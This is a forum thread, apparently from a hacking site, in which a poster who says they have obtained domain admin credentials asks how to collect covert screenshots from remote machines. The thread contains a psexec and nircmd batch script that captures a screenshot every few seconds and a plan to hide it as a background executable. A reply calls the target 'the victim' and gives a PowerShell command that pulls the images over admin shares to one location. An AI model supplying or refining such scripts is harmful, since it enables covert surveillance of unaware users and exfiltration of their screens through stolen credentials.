Forum Thread: Move Files Over Domain with Command Line

Is there a command line utility or anything that can be used to move files from one computer to another over a domain network?

Heres what im trying to do:
Screenshot a sytem at regular intervals for a specific period of time

Accomplished with this simple batch :

@echo off
cd C:\pstools
md psexec
cd c:\pstools

psexec nircmd.exe loop 2000 3000 savescreenshotwin C:\pstools\psexec\scr~$currdate.MMddyyyy$-~$currtime.HHmmss$.jpeg

Pro : The systems i'll be using this on already have the pstools directory in the C: Drive, and this batch does what i need in terms of number of screenshots and frequency.

Con : The screenshots are saved in the remote machines drive and i would like to automate the process of copying them over the network.

Will convert the bat to backgroung executable to avoid cmd window
Can anyone help?
Also i have gotten domain admin creds.. :)
thanks

4 Responses

If you have domain admin creds why just the screenshots? With domain admin creds you essentially own the domain. What ever your reason please explain the setup a little better.

Is the victim and the attacker located on the same LAN or are you trying to cross a WAN like the internet?
If crossing the internet do you have remote access to the domain via the domain admin creds?

If its from one domain computer to another domain computer on the same network and you have domain admin credentials I would try powershell with unc paths. For example:

Move-Item -Path \\ComputerA\C$\path_to_pics\*.jpeg -Destination \\ComputerB\C$\path_to_folder -Credentials (Get-Credentials)

Or something like that.

Thanks for responding

Yes DILL im trying to move the screenshots over the network to one location

The exe will be run on various different computers over the domain and what i want to do is to move the screenshots out from the local drives completely to another location i can safely access them.

The powershell idea sounds promising though...haven't done much work in that area of powershell, but could i use it to move files from different machines over the same domain to say, one folder on one machine?

EDIT:
Did the research and yes powershell will do the job.
Thanks for the help

Share Your Thoughts

  • Hot
  • Active